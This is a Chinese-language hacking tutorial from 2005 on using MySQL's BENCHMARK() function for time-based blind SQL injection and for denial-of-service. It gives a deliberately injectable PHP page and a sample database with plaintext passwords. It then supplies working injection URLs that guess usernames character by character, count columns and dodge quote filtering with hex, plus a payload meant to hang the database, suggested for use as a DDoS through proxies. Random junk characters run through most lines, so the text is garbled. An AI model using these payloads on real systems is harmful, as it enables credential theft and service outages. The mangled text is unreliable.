MYSQL中BENCHMARK函数的利用
* a& N/ I6 d2 J本文作者:SuperHei, g3 D6 T* w1 O+ v5 q; o
文章性质:原创* p8 g$ y, K1 l2 H9 {1 S
发布日期:2005-01-02
1 f ^% e# J2 l/ A- O# { C完成日期:2004-07-09
6 [# E% ~+ o" w$ T第一部5 M/ B( Y3 {& }+ u* a2 C
* ~: R1 [; B* a+ d U, P" @, I* _利用时间推延进行注射---BENCHMARK函数在注射中的利用 ' v% E1 C- r1 ^& C3 Y+ j
" r. h1 e/ v. e: I, Z一.前言/思路
; P. F7 u3 x, x& X2 p: A: ]# d+ D/ T1 W, X
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。* W, R+ a1 `8 I/ ?2 X
/ L' T. c# A, Y& Q- b J8 ? 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。6 u% l8 c2 S; l* l I
B) [3 X" B# k' v# x! O
二.关于BENCHMARK函数
5 c3 A7 k" L, w4 W/ w: X
W) R9 ^! O' ?9 j, o) ^# v# v" C 在MySQL参考手册里可以看到如下描叙: & V2 F* y' A# A C* U# u* E+ o
! F! O7 D, e+ p2 { l7 k7 v$ n2 W7 R" L0 c! [
--------------------------------------------------------------------------------( V% ~6 `) \- n, G( U C* ~
5 P, R9 F2 l! O" z- ]: ~8 FBENCHMARK(count,expr) ) K) t( _+ y8 @& \
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
0 x# C& `) f( }5 umysql> select BENCHMARK(1000000,encode("hello","goodbye")); ( O. Z6 B" F6 P0 a3 c
+----------------------------------------------+ * E _* Q) M# }9 Q" X- W
| BENCHMARK(1000000,encode("hello","goodbye")) | % s& O* K" T7 y9 K( o8 x
+----------------------------------------------+
% a( [; t4 D, _; T% F3 Q8 r- j| 0 |
4 H F; L# W. X: Y/ T- v+----------------------------------------------+ 3 Z' x ~9 b9 {# s9 O# q G
1 row in set (4.74 sec) " v- [2 u Y5 b% Y# Z, q
w* I$ k, j2 ?. G! u' z报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
) k/ c1 k# Z( _4 t5 C+ G, b% I! {- h/ G, g2 `' D
1 S$ m0 p: k% t2 B
--------------------------------------------------------------------------------/ o0 M/ L) k# v- o8 T/ R
/ _9 }9 v9 ~. F4 \% J 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: & _" j( V, J9 Q
% Z5 V ^' C/ S) U$ k" q, K+ ?8 i
mysql> select md5( 'test' );
6 z+ Z/ S& G- J! o) \0 l+----------------------------------+ ~5 l* D1 X, I6 N: h
| md5( 'test' ) |
, u1 h% j3 b; z5 ?( J+ X+----------------------------------+
$ |% _9 u1 L+ ^% O5 Y| 098f6bcd4621d373cade4e832627b4f6 |
2 ], O# r# l; t! R4 x9 n. Z+----------------------------------+
9 L, H0 X; u9 r. u2 C( M. j9 x; ]1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 4 G. d1 ]$ b* F
: n* H( V: R7 |9 D. qmysql> select benchmark( 500000, md5( 'test' ) );
: J# c9 n% A' a1 H3 B7 l+------------------------------------+ ! v5 V9 i; |) d7 w/ C: v y: v
| benchmark( 500000, md5( 'test' ) ) |
2 `3 u* ^) f* b: t+------------------------------------+
. S1 M5 N: C g/ F" w| 0 | $ X3 C3 v/ l" G0 I. U
+------------------------------------+
- P+ p6 w9 F1 \1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. b6 ]* o& O- \ T2 s! x
# h4 `6 G9 Z4 `; ~
5 c# J9 Q3 K- t' i& {
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
: P, P! A1 s" j9 e0 R! V+ U# G. x# J ]3 e: w
三.具体例子) u1 c7 I7 m0 W9 e7 N
- Y, N: b9 x( Y! p% l1 y: i; o 首先我们看个简单的php代码:
Q; w! C& |1 X9 {8 v0 a9 M; W' Q; m: v: y( f, d) `
< ?php ( u g) O- D$ m/ }! e
$servername = "localhost"; : ~# Q0 p# [3 T2 T( D
$dbusername = "root";
$ o2 s8 g5 _6 b$ a( n( P4 k1 @$dbpassword = ""; ( g9 k* @* G5 V2 @
$dbname = "injection";
E3 C4 T2 `! y# W- K8 h( z e$ l5 b/ w; n
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# u3 e) @! N6 U, t1 i8 L5 k. U8 W6 G+ T
$sql = "SELECT * FROM article WHERE articleid=$id";
, l% B; Y1 D3 }5 H! ]$result = mysql_db_query($dbname,$sql); # y% ?. X0 r2 ?5 F) C
$row = mysql_fetch_array($result);
) l0 G+ L2 p- p5 `+ a5 w) u6 |1 X) M& @, I+ e
if (!$row)
8 W; s2 Q1 [: o3 z{
, a# [) W& a1 @' E8 h/ V$ [- O0 kexit; 1 K$ V0 _; I. S1 t) s, K
}
1 F8 t" E1 a+ h- _?>
5 G; t6 {& ^/ ^2 v( s
, |0 n0 k- ?- m0 C& h. J
0 Q) o7 z% j z7 U" _' b 数据库injection结构和内容如下:
5 O) o( j' B9 s0 w' j
$ Q& n# f. K- i. E6 u7 i" G6 F# 数据库 : `injection` ' H: L4 e4 H3 t$ U+ z2 Y9 W
# 5 i% x# |$ C/ I6 E; B+ S
$ O) d X5 f6 c+ e' z# --------------------------------------------------------
+ G: O) m% C- r# e# g2 z# K, h: m9 J* o8 m3 n; r' o; z3 k
#
+ G# Q' Z0 h; I# M# 表的结构 `article`
+ I* S/ d" c r* Z% c3 P/ t& z& |# 5 T# z: ~# {' C7 x: V
; g: p& a" J( l/ v7 j. W9 q3 \
CREATE TABLE `article` (
6 a8 y8 R. |" |, J* l`articleid` int(11) NOT NULL auto_increment,
1 p1 E% A" J8 E2 I0 v5 D# u; S`title` varchar(100) NOT NULL default '',
+ u- S; R4 O! X# x( e`content` text NOT NULL, % V4 W' n, t, O9 {
PRIMARY KEY (`articleid`)
1 C; D6 x+ \3 o) TYPE=MyISAM AUTO_INCREMENT=3 ;
) _) L7 K8 v. {: Q# I8 D# F% m( o0 X
# , t2 S& T0 ]/ Z; V5 d, T! C/ |( W" h
# 导出表中的数据 `article`
$ Y L& I3 J# N; R3 F, K L#
4 O7 l% R9 Y8 |6 Q0 I
4 Q0 U, E U2 D9 I) jINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
, Y( Q8 J3 f4 pINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 k1 ^- X# P# |2 b' p: T% n4 \5 k
# -------------------------------------------------------- ( N( v, ^! b9 f1 d% u
+ I& X& j4 L. ~9 M1 B; ^2 L
# 0 I' M. d0 O, X
# 表的结构 `user`
& Q" {# H! J' r- g# / u! Y! [4 j) Y; C; ~% ?
: u9 j% f3 L/ U" h7 N7 T8 ?+ zCREATE TABLE `user` ( 4 p9 R: u; A0 W( m3 d3 ]- `) V: `$ \
`userid` int(11) NOT NULL auto_increment, 7 A' k' a4 d' e/ L& b6 L! g# u' H' y
`username` varchar(20) NOT NULL default '',
8 O) G1 @. M% P0 G' o! u @`password` varchar(20) NOT NULL default '', $ l3 C4 m( K2 r" U* B% c0 g8 s
PRIMARY KEY (`userid`)
7 C7 _; C; c1 s( j9 e) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 t4 q! a `6 r: G* b1 G) U" D6 h; v4 I% l* b8 k( ]! E: ]$ b
#
. ?$ K; O$ V. y# 导出表中的数据 `user` 2 D2 p5 I" F* ?9 {6 e
# 1 x! r; o; `2 R, P9 m
" A/ B# ]5 h# j, C4 Y. e) o
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
( z) c' r: s4 O" CINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
) J* h( ?: t f4 G) ? # \- I7 _ z% H" d" h' E
, a7 d- Q4 U& Q4 a0 O; [% f+ }' S
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" ^. h' j1 @% R) o( D
, k# z) o5 ?% a( Zid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
5 R; A$ i. C9 S& @ 9 a- P& }$ \% ^9 z; m& P. V/ _6 k
\- F- X+ M( B1 X 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:0 g% U# N" [9 x- R8 G
$ z _* Z; @4 x
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
0 U9 f. {5 h A* M Q4 C* G
Y S4 N2 N7 q) A$ C
^" S- H6 R- q- i% L& l 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 7 Z- S- b2 r5 C$ |
6 m0 r+ F; O5 Q* v' c 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * C$ Z: Z) m/ r
* Q0 S* g o7 Q! j' a第二部
: f& @0 @8 m0 Y2 p) i5 q
+ W* V, H: p4 q% n0 G. b利用BENCHMARK函数进行ddos攻击 5 G/ e/ P7 F, @0 B
9 T9 i/ J+ B3 M' Y0 \# o7 E! B
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 X* s/ _. ]& k( k
% ?/ O; R1 t8 ^, f2 ~ @8 ~http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
6 @3 F# | \6 z# e; X1 m6 e
R+ W5 C& n. G( E5 T. v/ n; j
2 [, W7 l1 G. ~4 n6 F; Y; q1 D3 H小结
8 a Q4 k, f. R* B% H
0 k; I' D' n. J0 J0 T+ V 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。, ]7 x0 E& J) b5 U. t
8 @0 Z5 Z4 K( z/ k( ^
; l/ H( n" U6 n8 W |